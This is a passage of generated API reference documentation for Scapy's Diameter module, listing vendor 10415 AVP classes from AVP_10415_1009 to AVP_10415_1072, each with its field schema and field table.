+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1009                        


AVP_10415_1009 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1011(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2177-L2182]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1011                        


AVP_10415_1011 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1015(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2185-L2189]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1015                        


AVP_10415_1015 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1019(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2192-L2195]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1019                        


AVP_10415_1019 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1021(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2198-L2201]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1021                        


AVP_10415_1021 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1023(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2204-L2208]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1023                        


AVP_10415_1023 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1024(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2211-L2214]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1024                        


AVP_10415_1024 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1027(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2217-L2230]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1027                        


AVP_10415_1027 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1028(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2233-L2251]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1028                        


AVP_10415_1028 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1032(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2254-L2271]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1032                        


AVP_10415_1032 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1045(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2274-L2279]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1045                        


AVP_10415_1045 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1047(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2282-L2287]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1047                        


AVP_10415_1047 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1048(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2290-L2295]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1048                        


AVP_10415_1048 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1062(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2298-L2303]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1062                        


AVP_10415_1062 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1063(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2306-L2310]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1063                        


AVP_10415_1063 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1068(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2313-L2316]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1068                        


AVP_10415_1068 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1069(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2319-L2323]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1069                        


AVP_10415_1069 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1070(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2326-L2330]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1070                        


AVP_10415_1070 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1071(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2333-L2345]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1071                        


AVP_10415_1071 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1072(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2348-L2352]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1072                        


AVP_10415_1072 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
